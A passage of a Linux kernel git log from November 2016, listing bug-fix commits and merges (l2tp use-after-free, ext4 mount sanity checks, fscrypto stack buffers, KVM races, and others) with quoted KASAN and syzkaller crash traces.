lock_sock() call. This way, a socket could be inserted twice in l2tp_ip6_bind_table. Releasing it would then leave a stale pointer there, generating use-after-free errors when walking through the list or modifying adjacent entries. BUG: KASAN: use-after-free in l2tp_ip6_close+0x22e/0x290 at addr ffff8800081b0ed8 Write of size 8 by task syz-executor/10987 CPU: 0 PID: 10987 Comm: syz-executor Not tainted 4.8.0+ #39 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 ffff880031d97838 ffffffff829f835b ffff88001b5a1640 ffff8800081b0ec0 ffff8800081b15a0 ffff8800081b6d20 ffff880031d97860 ffffffff8174d3cc ffff880031d978f0 ffff8800081b0e80 ffff88001b5a1640 ffff880031d978e0 Call Trace: [] dump_stack+0xb3/0x118 lib/dump_stack.c:15 [] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156 [< inline >] print_address_description mm/kasan/report.c:194 [] kasan_report_error+0x1f6/0x4d0 mm/kasan/report.c:283 [< inline >] kasan_report mm/kasan/report.c:303 [] __asan_report_store8_noabort+0x3e/0x40 mm/kasan/report.c:329 [< inline >] __write_once_size ./include/linux/compiler.h:249 [< inline >] __hlist_del ./include/linux/list.h:622 [< inline >] hlist_del_init ./include/linux/list.h:637 [] l2tp_ip6_close+0x22e/0x290 net/l2tp/l2tp_ip6.c:239 [] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415 [] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422 [] sock_release+0x8d/0x1d0 net/socket.c:570 [] sock_close+0x16/0x20 net/socket.c:1017 [] __fput+0x28c/0x780 fs/file_table.c:208 [] ____fput+0x15/0x20 fs/file_table.c:244 [] task_work_run+0xf9/0x170 [] do_exit+0x85e/0x2a00 [] do_group_exit+0x108/0x330 [] get_signal+0x617/0x17a0 kernel/signal.c:2307 [] do_signal+0x7f/0x18f0 [] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156 [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259 [] entry_SYSCALL_64_fastpath+0xc4/0xc6 Object at ffff8800081b0ec0, in cache L2TP/IPv6 size: 1448 Allocated: PID = 10987 [ 1116.897025] [] save_stack_trace+0x16/0x20 [ 1116.897025] [] save_stack+0x46/0xd0 [ 1116.897025] [] kasan_kmalloc+0xad/0xe0 [ 1116.897025] [] kasan_slab_alloc+0x12/0x20 [ 1116.897025] [< inline >] slab_post_alloc_hook mm/slab.h:417 [ 1116.897025] [< inline >] slab_alloc_node mm/slub.c:2708 [ 1116.897025] [< inline >] slab_alloc mm/slub.c:2716 [ 1116.897025] [] kmem_cache_alloc+0xc8/0x2b0 mm/slub.c:2721 [ 1116.897025] [] sk_prot_alloc+0x69/0x2b0 net/core/sock.c:1326 [ 1116.897025] [] sk_alloc+0x38/0xae0 net/core/sock.c:1388 [ 1116.897025] [] inet6_create+0x2d7/0x1000 net/ipv6/af_inet6.c:182 [ 1116.897025] [] __sock_create+0x37b/0x640 net/socket.c:1153 [ 1116.897025] [< inline >] sock_create net/socket.c:1193 [ 1116.897025] [< inline >] SYSC_socket net/socket.c:1223 [ 1116.897025] [] SyS_socket+0xef/0x1b0 net/socket.c:1203 [ 1116.897025] [] entry_SYSCALL_64_fastpath+0x23/0xc6 Freed: PID = 10987 [ 1116.897025] [] save_stack_trace+0x16/0x20 [ 1116.897025] [] save_stack+0x46/0xd0 [ 1116.897025] [] kasan_slab_free+0x71/0xb0 [ 1116.897025] [< inline >] slab_free_hook mm/slub.c:1352 [ 1116.897025] [< inline >] slab_free_freelist_hook mm/slub.c:1374 [ 1116.897025] [< inline >] slab_free mm/slub.c:2951 [ 1116.897025] [] kmem_cache_free+0xc8/0x330 mm/slub.c:2973 [ 1116.897025] [< inline >] sk_prot_free net/core/sock.c:1369 [ 1116.897025] [] __sk_destruct+0x32b/0x4f0 net/core/sock.c:1444 [ 1116.897025] [] sk_destruct+0x44/0x80 net/core/sock.c:1452 [ 1116.897025] [] __sk_free+0x53/0x220 net/core/sock.c:1460 [ 1116.897025] [] sk_free+0x23/0x30 net/core/sock.c:1471 [ 1116.897025] [] sk_common_release+0x28c/0x3e0 ./include/net/sock.h:1589 [ 1116.897025] [] l2tp_ip6_close+0x1fe/0x290 net/l2tp/l2tp_ip6.c:243 [ 1116.897025] [] inet_release+0xed/0x1c0 net/ipv4/af_inet.c:415 [ 1116.897025] [] inet6_release+0x50/0x70 net/ipv6/af_inet6.c:422 [ 1116.897025] [] sock_release+0x8d/0x1d0 net/socket.c:570 [ 1116.897025] [] sock_close+0x16/0x20 net/socket.c:1017 [ 1116.897025] [] __fput+0x28c/0x780 fs/file_table.c:208 [ 1116.897025] [] ____fput+0x15/0x20 fs/file_table.c:244 [ 1116.897025] [] task_work_run+0xf9/0x170 [ 1116.897025] [] do_exit+0x85e/0x2a00 [ 1116.897025] [] do_group_exit+0x108/0x330 [ 1116.897025] [] get_signal+0x617/0x17a0 kernel/signal.c:2307 [ 1116.897025] [] do_signal+0x7f/0x18f0 [ 1116.897025] [] exit_to_usermode_loop+0xbf/0x150 arch/x86/entry/common.c:156 [ 1116.897025] [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [ 1116.897025] [] syscall_return_slowpath+0x1a0/0x1e0 arch/x86/entry/common.c:259 [ 1116.897025] [] entry_SYSCALL_64_fastpath+0xc4/0xc6 Memory state around the buggy address: ffff8800081b0d80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc ffff8800081b0e00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc >ffff8800081b0e80: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb ^ ffff8800081b0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff8800081b0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== The same issue exists with l2tp_ip_bind() and l2tp_ip_bind_table. Fixes: c51ce49735c1 ("l2tp: fix oops in L2TP IP sockets for connect() AF_UNSPEC case") Reported-by: Baozeng Ding Reported-by: Andrey Konovalov Tested-by: Baozeng Ding Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller net/l2tp/l2tp_ip.c | 5 +++-- net/l2tp/l2tp_ip6.c | 5 +++-- 2 files changed, 6 insertions(+), 4 deletions(-) commit 77079b133f242d3e3710c9b89ed54458307e54ff Merge: d117b9a 9883ed4 Author: Linus Torvalds Date: Sat Nov 19 18:40:47 2016 -0800 Merge tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC fixes from Olof Johansson: "Again a set of smaller fixes across several platforms (OMAP, Marvell, Allwinner, i.MX, etc). A handful of typo fixes and smaller missing contents from device trees, with some tweaks to OMAP mach files to deal with CPU feature print misformatting, potential NULL ptr dereference and one setup issue with UARTs" * tag 'armsoc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: ipmi/bt-bmc: change compatible node to 'aspeed, ast2400-ibt-bmc' ARM: dts: STiH410-b2260: Fix typo in spi0 chipselect definition ARM: dts: omap5: board-common: fix wrong SMPS6 (VDD-DDR3) voltage ARM: omap3: Add missing memory node in SOM-LV arm64: dts: marvell: add unique identifiers for Armada A8k SPI controllers arm64: dts: marvell: fix clocksource for CP110 slave SPI0 arm64: dts: marvell: Fix typo in label name on Armada 37xx ASoC: omap-abe-twl6040: fix typo in bindings documentation dts: omap5: board-common: enable twl6040 headset jack detection dts: omap5: board-common: add phandle to reference Palmas gpadc ARM: OMAP2+: avoid NULL pointer dereference ARM: OMAP2+: PRM: initialize en_uart4_mask and grpsel_uart4_mask ARM: dts: omap3: Fix memory node in Torpedo board ARM: AM43XX: Select OMAP_INTERCONNECT in Kconfig ARM: OMAP3: Fix formatting of features printed ARM: dts: imx53-qsb: Fix regulator constraints ARM: dts: sun8i: fix the pinmux for UART1 commit d117b9acaeada0b243f31e0fe83e111fcc9a6644 Merge: 50d438f 8cdf337 Author: Linus Torvalds Date: Sat Nov 19 18:33:50 2016 -0800 Merge tag 'ext4_for_stable' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 Pull ext4 fixes from Ted Ts'o: "A security fix (so a maliciously corrupted file system image won't panic the kernel) and some fixes for CONFIG_VMAP_STACK" * tag 'ext4_for_stable' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: ext4: sanity check the block and cluster size at mount time fscrypto: don't use on-stack buffer for key derivation fscrypto: don't use on-stack buffer for filename encryption commit 8cdf3372fe8368f56315e66bea9f35053c418093 Author: Theodore Ts'o Date: Fri Nov 18 13:00:24 2016 -0500 ext4: sanity check the block and cluster size at mount time If the block size or cluster size is insane, reject the mount. This is important for security reasons (although we shouldn't be just depending on this check). Ref: http://www.securityfocus.com/archive/1/539661 Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506 Reported-by: Borislav Petkov Reported-by: Nikolay Borisov Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org fs/ext4/ext4.h | 1 + fs/ext4/super.c | 17 ++++++++++++++++- 2 files changed, 17 insertions(+), 1 deletion(-) commit 0f0909e242f73c1154272cf04f07fc9afe13e5b8 Author: Eric Biggers Date: Sun Nov 13 20:41:09 2016 -0500 fscrypto: don't use on-stack buffer for key derivation With the new (in 4.9) option to use a virtually-mapped stack (CONFIG_VMAP_STACK), stack buffers cannot be used as input/output for the scatterlist crypto API because they may not be directly mappable to struct page. get_crypt_info() was using a stack buffer to hold the output from the encryption operation used to derive the per-file key. Fix it by using a heap buffer. This bug could most easily be observed in a CONFIG_DEBUG_SG kernel because this allowed the BUG in sg_set_buf() to be triggered. Cc: stable@vger.kernel.org Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/keyinfo.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 3c7018ebf8dbf14e7cd4f5dc648c51fc979f45bb Author: Eric Biggers Date: Sun Nov 13 20:35:52 2016 -0500 fscrypto: don't use on-stack buffer for filename encryption With the new (in 4.9) option to use a virtually-mapped stack (CONFIG_VMAP_STACK), stack buffers cannot be used as input/output for the scatterlist crypto API because they may not be directly mappable to struct page. For short filenames, fname_encrypt() was encrypting a stack buffer holding the padded filename. Fix it by encrypting the filename in-place in the output buffer, thereby making the temporary buffer unnecessary. This bug could most easily be observed in a CONFIG_DEBUG_SG kernel because this allowed the BUG in sg_set_buf() to be triggered. Cc: stable@vger.kernel.org Signed-off-by: Eric Biggers Signed-off-by: Theodore Ts'o fs/crypto/fname.c | 53 +++++++++++++++++++++-------------------------------- 1 file changed, 21 insertions(+), 32 deletions(-) commit 50d438fb9e4229cb37ec89a22c066b626e30885c Merge: dce9ce3 ad092de Author: Linus Torvalds Date: Sat Nov 19 13:35:09 2016 -0800 Merge branch 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c fixes from Wolfram Sang: "Some I2C driver bugfixes (and one documentation fix)" * 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: i2c: i2c-mux-pca954x: fix deselect enabling for device-tree i2c: digicolor: use clk_disable_unprepare instead of clk_unprepare i2c: mux: fix up dependencies i2c: Documentation: i2c-topology: fix minor whitespace nit i2c: mux: demux-pinctrl: make drivers with no pinctrl work again commit dce9ce3615ca03bd7adb09a182b5ee192684f17f Merge: f691838 a2b0773 Author: Linus Torvalds Date: Sat Nov 19 13:31:40 2016 -0800 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM fixes from Radim Krčmář: "ARM: - Fix handling of the 32bit cycle counter - Fix cycle counter filtering x86: - Fix a race leading to double unregistering of user notifiers - Amend oversight in kvm_arch_set_irq that turned Hyper-V code dead - Use SRCU around kvm_lapic_set_vapic_addr - Avoid recursive flushing of asynchronous page faults - Do not rely on deferred update in KVM_GET_CLOCK, which fixes #GP - Let userspace know that KVM_GET_CLOCK is useful with master clock; 4.9 changed the return value to better match the guest clock, but didn't provide means to let guests take advantage of it" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: kvm: x86: merge kvm_arch_set_irq and kvm_arch_set_irq_inatomic KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr KVM: async_pf: avoid recursive flushing of work items kvm: kvmclock: let KVM_GET_CLOCK return whether the master clock is in use KVM: Disable irq while unregistering user notifier KVM: x86: do not go through vcpu in __get_kvmclock_ns KVM: arm64: Fix the issues when guest PMCCFILTR is configured arm64: KVM: pmu: Fix AArch32 cycle counter access commit ad092de60f865c1ad94221bd06d381ecea446cc8 Author: Alex Hemme Date: Sat Nov 19 10:48:38 2016 +0100 i2c: i2c-mux-pca954x: fix deselect enabling for device-tree Deselect functionality can be ignored for device-trees with "i2c-mux-idle-disconnect" entries if no platform_data is available. By enabling the deselect functionality outside the platform_data block the logic works as it did in previous kernels. Fixes: 7fcac9807175 ("i2c: i2c-mux-pca954x: convert to use an explicit i2c mux core") Cc: # v4.7+ Signed-off-by: Alex Hemme Signed-off-by: Ziyang Wu [touched up a few minor issues /peda] Signed-off-by: Peter Rosin Signed-off-by: Wolfram Sang drivers/i2c/muxes/i2c-mux-pca954x.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f6918382c7d8a13eb1c71d375bdd88f3ae6a5833 Merge: 384b0dc cac4a18 Author: Linus Torvalds Date: Sat Nov 19 11:21:59 2016 -0800 Merge tag 'powerpc-4.9-5' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fixes from Michael Ellerman: "Fixes marked for stable: - fix system reset interrupt winkle wakeups - fix setting of AIL in hypervisor mode Fixes for code merged this cycle: - fix exception vector build with 2.23 era binutils - fix missing update of HID register on secondary CPUs Other: - fix missing pr_cont()s - invalidate ERAT on tlbiel for POWER9 DD1" * tag 'powerpc-4.9-5' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc/mm: Fix missing update of HID register on secondary CPUs powerpc/mm/radix: Invalidate ERAT on tlbiel for POWER9 DD1 powerpc/64: Fix setting of AIL in hypervisor mode powerpc/oops: Fix missing pr_cont()s in instruction dump powerpc/oops: Fix missing pr_cont()s in show_regs() powerpc/oops: Fix missing pr_cont()s in print_msr_bits() et. al. powerpc/oops: Fix missing pr_cont()s in show_stack() powerpc: Fix exception vector build with 2.23 era binutils powerpc/64s: Fix system reset interrupt winkle wakeups commit 384b0dc4c84eb0ffe04589694a31a06226d61f7a Merge: 6741897 a8348bc Author: Linus Torvalds Date: Sat Nov 19 11:15:45 2016 -0800 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto fixes from Herbert Xu: "This fixes the following issues: - Compiler warning in caam driver that was the last one remaining - Do not register aes-xts in caam drivers on unsupported platforms - Regression in algif_hash interface that may lead to an oops" * 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6: crypto: algif_hash - Fix NULL hash crash with shash crypto: caam - fix type mismatch warning crypto: caam - do not register AES-XTS mode on LP units commit 6741897602aabae6542631cafbd2616943acc735 Merge: eab8d4b dbfa048 Author: Linus Torvalds Date: Sat Nov 19 11:09:28 2016 -0800 Merge tag 'leds_4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds Pull LED subsystem update from Jacek Anaszewski: "I'd like to announce a new co-maintainer - Pavel Machek" * tag 'leds_4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds: MAINTAINERS: Add LED subsystem co-maintainer commit eab8d4bc0aa79d0d401bde62bf33b4adaab08db9 Merge: 20afa6e d5afc1b Author: Linus Torvalds Date: Sat Nov 19 11:05:47 2016 -0800 Merge tag 'dmaengine-fix-4.9-rc6' of git://git.infradead.org/users/vkoul/slave-dma Pull dmaengine fixes from Vinod Koul: "Some driver fixes which we pending in my tree: - return error code fix in edma driver - Kconfig fix for genric allocator in mmp_tdma - fix uninitialized value in sun6i - Runtime pm fixes for cppi" * tag 'dmaengine-fix-4.9-rc6' of git://git.infradead.org/users/vkoul/slave-dma: dmaengine: cppi41: More PM runtime fixes dmaengine: cpp41: Fix handling of error path dmaengine: cppi41: Fix unpaired pm runtime when only a USB hub is connected dmaengine: cppi41: Fix list not empty warning on module removal dmaengine: sun6i: fix the uninitialized value for v_lli dmaengine: mmp_tdma: add missing select GENERIC_ALLOCATOR in Kconfig dmaengine: edma: Fix error return code in edma_alloc_chan_resources() commit a2b07739ff5ded8ca7e9c7ff0749ed6f0d36aee2 Author: Paolo Bonzini Date: Thu Nov 17 15:55:47 2016 +0100 kvm: x86: merge kvm_arch_set_irq and kvm_arch_set_irq_inatomic kvm_arch_set_irq is unused since commit b97e6de9c96. Merge its functionality with kvm_arch_set_irq_inatomic. Reported-by: Jiang Biao Signed-off-by: Paolo Bonzini Reviewed-by: David Hildenbrand Signed-off-by: Radim Krčmář arch/x86/kvm/irq_comm.c | 58 +++++++++++++++++++++++-------------------------- 1 file changed, 27 insertions(+), 31 deletions(-) commit 7301d6abaea926d685832f7e1f0c37dd206b01f4 Author: Paolo Bonzini Date: Thu Nov 17 15:55:46 2016 +0100 KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr Reported by syzkaller: [ INFO: suspicious RCU usage. ] 4.9.0-rc4+ #47 Not tainted ------------------------------- ./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage! stack backtrace: CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ #47 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000 0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9 ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x118 lib/dump_stack.c:51 [] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445 [< inline >] __kvm_memslots include/linux/kvm_host.h:534 [< inline >] kvm_memslots include/linux/kvm_host.h:541 [] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941 [] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217 Reported-by: Dmitry Vyukov Fixes: fda4e2e85589191b123d31cdc21fd33ee70f50fd Cc: Andrew Honig Cc: stable@vger.kernel.org Signed-off-by: Paolo Bonzini Reviewed-by: David Hildenbrand Signed-off-by: Radim Krčmář arch/x86/kvm/x86.c | 3 +++ 1 file changed, 3 insertions(+) commit 22583f0d9c85e60c9860bc8a0ebff59fe08be6d7 Author: Paolo Bonzini Date: Thu Nov 17 15:55:45 2016 +0100 KVM: async_pf: avoid recursive flushing of work items This was reported by syzkaller: [ INFO: possible recursive locking detected ] 4.9.0-rc4+ #49 Not tainted --------------------------------------------- kworker/2:1/5658 is trying to acquire lock: ([ 1644.769018] (&work->work) [< inline >] list_empty include/linux/compiler.h:243 [] flush_work+0x0/0x660 kernel/workqueue.c:1511 but task is already holding lock: ([ 1644.769018] (&work->work) [] process_one_work+0x94b/0x1900 kernel/workqueue.c:2093 stack backtrace: CPU: 2 PID: 5658 Comm: kworker/2:1 Not tainted 4.9.0-rc4+ #49 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 Workqueue: events async_pf_execute ffff8800676ff630 ffffffff81c2e46b ffffffff8485b930 ffff88006b1fc480 0000000000000000 ffffffff8485b930 ffff8800676ff7e0 ffffffff81339b27 ffff8800676ff7e8 0000000000000046 ffff88006b1fcce8 ffff88006b1fccf0 Call Trace: ... [] flush_work+0x93/0x660 kernel/workqueue.c:2846 [] __cancel_work_timer+0x17a/0x410 kernel/workqueue.c:2916 [] cancel_work_sync+0x17/0x20 kernel/workqueue.c:2951 [] kvm_clear_async_pf_completion_queue+0xd7/0x400 virt/kvm/async_pf.c:126 [< inline >] kvm_free_vcpus arch/x86/kvm/x86.c:7841 [] kvm_arch_destroy_vm+0x23d/0x620 arch/x86/kvm/x86.c:7946 [< inline >] kvm_destroy_vm virt/kvm/kvm_main.c:731 [] kvm_put_kvm+0x40e/0x790 virt/kvm/kvm_main.c:752 [] async_pf_execute+0x23d/0x4f0 virt/kvm/async_pf.c:111 [] process_one_work+0x9fc/0x1900 kernel/workqueue.c:2096 [] worker_thread+0xef/0x1480 kernel/workqueue.c:2230 [] kthread+0x244/0x2d0 kernel/kthread.c:209 [] ret_from_fork+0x2a/0x40 arch/x86/entry/entry_64.S:433 The reason is that kvm_put_kvm is causing the destruction of the VM, but the page fault is still on the ->queue list. The ->queue list is owned by the VCPU, not by the work items, so we cannot just add list_del to the work item. Instead, use work->vcpu to note async page faults that have been resolved and will be processed through the done list. There is no need to flush those. Cc: Dmitry Vyukov Signed-off-by: Paolo Bonzini Signed-off-by: Radim Krčmář virt/kvm/async_pf.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit e3fd9a93a12a1020067a676e826877623cee8e2b Author: Paolo Bonzini Date: Wed Nov 9 17:48:15 2016 +0100 kvm: kvmclock: let KVM_GET_CLOCK return whether the master clock is in use Userspace can read the exact value of kvmclock by reading the TSC and fetching the timekeeping parameters out of guest memory. This however is brittle and not necessary anymore with KVM 4.11. Provide a mechanism that lets userspace know if the new KVM_GET_CLOCK semantics are in effect, and---since we are at it---if the clock is stable across all VCPUs. Cc: Radim Krčmář Cc: Marcelo Tosatti Signed-off-by: Paolo Bonzini Signed-off-by: Radim Krčmář Documentation/virtual/kvm/api.txt | 11 +++++++++++ arch/x86/kvm/x86.c | 10 +++++++--- include/uapi/linux/kvm.h | 7 +++++++ 3 files changed, 25 insertions(+), 3 deletions(-) commit 1650b4ebc99da4c137bfbfc531be4a2405f951dd Author: Ignacio Alvarado Date: Fri Nov 4 12:15:55 2016 -0700 KVM: Disable irq while unregistering user notifier Function user_notifier_unregister should be called only once for each registered user notifier. Function kvm_arch_hardware_disable can be executed from an IPI context which could cause a race condition with a VCPU returning to user mode and attempting to unregister the notifier. Signed-off-by: Ignacio Alvarado Cc: stable@vger.kernel.org Fixes: 18863bdd60f8 ("KVM: x86 shared msr infrastructure") Reviewed-by: Paolo Bonzini Signed-off-by: Radim Krčmář arch/x86/kvm/x86.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 910170442944e1f8674fd5ddbeeb8ccd1877ea98 Author: David Woodhouse Date: Mon Sep 12 10:49:11 2016 +0800 iommu/vt-d: Fix PASID table allocation Somehow I ended up with an off-by-three error in calculating the size of the PASID and PASID State tables, which triggers allocations failures as those tables unfortunately have to be physically contiguous. In fact, even the *correct* maximum size of 8MiB is problematic and is wont to lead to allocation failures. Since I have extracted a promise that this *will* be fixed in hardware, I'm happy to limit it on the current hardware to a maximum of 0x20000 PASIDs, which gives us 1MiB tables — still not ideal, but better than before. Reported by Mika Kuoppala and also by Xunlei Pang who submitted a simpler patch to fix only the allocation (and not the free) to the "correct" limit... which was still problematic. Signed-off-by: David Woodhouse Cc: stable@vger.kernel.org drivers/iommu/intel-svm.c | 28 +++++++++++++++++----------- include/linux/intel-iommu.h | 1 + 2 files changed, 18 insertions(+), 11 deletions(-) commit 8b9534406456313beb7bf9051150b50c63049ab7 Author: Paolo Bonzini Date: Wed Nov 16 18:31:30 2016 +0100 KVM: x86: do not go through vcpu in __get_kvmclock_ns Going through the first VCPU is wrong if you follow a KVM_SET_CLOCK with a KVM_GET_CLOCK immediately after, without letting the VCPU run and call kvm_guest_time_update. To fix this, compute the kvmclock value ourselves, using the master clock (tsc, nsec) pair as the base and the host CPU frequency as the scale. Reported-by: Marcelo Tosatti Signed-off-by: Paolo Bonzini Signed-off-by: Radim Krčmář arch/x86/kvm/x86.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit e5dbc4bf0b8c9ab50cc5699214240e84515be6eb Merge: a25f094 b112c84 Author: Radim Krčmář Date: Sat Nov 19 18:02:07 2016 +0100 Merge tag 'kvm-arm-for-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/kvmarm/kvmarm KVM/ARM updates for v4.9-rc6 - Fix handling of the 32bit cycle counter - Fix cycle counter filtering commit adda306744ec64c7bcd6c230a6bc060fb77bd7c3 Merge: 178c7ae e13258f Author: David S. Miller Date: Sat Nov 19 11:11:52 2016 -0500 Merge tag 'batadv-net-for-davem-20161119' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== Here are two batman-adv bugfix patches: - Revert a splat on disabling interface which created another problem, by Sven Eckelmann - Fix error handling when the primary interface disappears during a throughput meter test, by Sven Eckelmann ==================== Signed-off-by: David S. Miller commit 9dd35d6882a10629b95f2bc41a541740ef24c226 Author: Geliang Tang Date: Fri Nov 18 22:21:17 2016 +0800 sparc: drop duplicate header scatterlist.h Drop duplicate header scatterlist.h from iommu_common.h. Signed-off-by: Geliang Tang Signed-off-by: David S. Miller arch/sparc/kernel/iommu_common.h | 1 - 1 file changed, 1 deletion(-) commit 178c7ae944444c198a1d9646477ab10d2d51f03e Author: Alexey Khoroshilov Date: Sat Nov 19 01:40:10 2016 +0300 net: macb: add check for dma mapping error in start_xmit() at91ether_start_xmit() does not check for dma mapping errors. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 20afa6e2f9c129e13031cc4a21834a03641cb8a4 Merge: 04e3685 aab0b24 Author: Linus Torvalds Date: Fri Nov 18 17:21:58 2016 -0800 Merge tag 'acpi-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI fixes from Rafael Wysocki: "They fix an ACPI thermal management regression introduced by a recent FADT handling cleanup, an ACPI tools build issue introduced by a recent ACPICA commit and a PCC mailbox initialization bug causing lockdep to complain loudly. Specifics: - Revert a recent ACPICA cleanup that attempted to get rid of all FADT version 2 legacy, but broke ACPI thermal management on at least one system (Rafael Wysocki). - Fix cross-compiled builds of ACPI tools that stopped working after a recent cleanup related to the handling of header files in ACPICA (Lv Zheng). - Fix a locking issue in the PCC channel initialization code that invokes devm_request_irq() under a spinlock (among other things) and causes lockdep to complain (Hoan Tran)" * tag 'acpi-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: tools/power/acpi: Remove direct kernel source include reference mailbox: PCC: Fix lockdep warning when request PCC channel Revert "ACPICA: FADT support cleanup" commit 04e36857d6747e4525e68c4292c081b795b48366 Merge: aad931a3 c6a3855 Author: Linus Torvalds Date: Fri Nov 18 16:45:21 2016 -0800 Merge branch 'rc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild Pull kbuild fixes from Michal Marek: "Here are some regression fixes for kbuild: - modversion support for exported asm symbols (Nick Piggin). The affected architectures need separate patches adding asm-prototypes.h. - fix rebuilds of lib-ksyms.o (Nick Piggin) - -fno-PIE builds (Sebastian Siewior and Borislav Petkov). This is not a kernel regression, but one of the Debian gcc package. Nevertheless, it's quite annoying, so I think it should go into mainline and stable now" * 'rc-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/mmarek/kbuild: kbuild: Steal gcc's pie from the very beginning kbuild: be more careful about matching preprocessed asm ___EXPORT_SYMBOL x86/kexec: add -fno-PIE scripts/has-stack-protector: add -fno-PIE kbuild: add -fno-PIE kbuild: modversions for EXPORT_SYMBOL() for asm kbuild: prevent lib-ksyms.o rebuilds commit aad931a30fd88c5319868c6891396d04ad6bfb3e Merge: c171770 ea08e39 Author: Linus Torvalds Date: Fri Nov 18 16:32:21 2016 -0800 Merge tag 'nfsd-4.9-2' of git://linux-nfs.org/~bfields/linux Pull nfsd bugfix from Bruce Fields: "Just one fix for an NFS/RDMA crash" * tag 'nfsd-4.9-2' of git://linux-nfs.org/~bfields/linux: sunrpc: svc_age_temp_xprts_now should not call setsockopt non-tcp transports commit dbfa048db97c15ee3fff2ee17b19e61f3ab12d53 Author: Pavel Machek Date: Tue Nov 15 11:12:05 2016 +0100 MAINTAINERS: Add LED subsystem co-maintainer Mark me as a co-maintainer of LED subsystem. Signed-off-by: Pavel Machek Signed-off-by: Jacek Anaszewski MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit aab0b243b9a2fab7dcee0ce6e13789d3ab0394bf Merge: e2174b0 6ca595a d5a4b1a Author: Rafael J. Wysocki Date: Fri Nov 18 21:34:42 2016 +0100 Merge branches 'acpica-fixes', 'acpi-cppc-fixes' and 'acpi-tools-fixes' * acpica-fixes: Revert "ACPICA: FADT support cleanup" * acpi-cppc-fixes: mailbox: PCC: Fix lockdep warning when request PCC channel * acpi-tools-fixes: tools/power/acpi: Remove direct kernel source include reference commit 79c3dcbabb8fc9df45e283e288938a45ef1a7a16 Merge: 1a9bbcc e245d99 Author: David S. Miller Date: Fri Nov 18 11:33:26 2016 -0800 Merge branch 'sparc-lockdep-small' Babu Moger says: ==================== Adjust lockdep static allocations for sparc These patches limit the static allocations for lockdep data structures used for debugging locking correctness. For sparc, all the kernel's code, data, and bss, must have locked translations in the TLB so that we don't get TLB misses on kernel code and data. Current sparc chips have 8 TLB entries available that may be locked down, and with a 4mb page size, this gives a maximum of 32MB. With PROVE_LOCKING we could go over this limit and cause system boot-up problems. These patches limit the static allocations so that everything fits in current required size limit. patch 1 : Adds new config parameter CONFIG_PROVE_LOCKING_SMALL Patch 2 : Adjusts the sizes based on the new config parameter 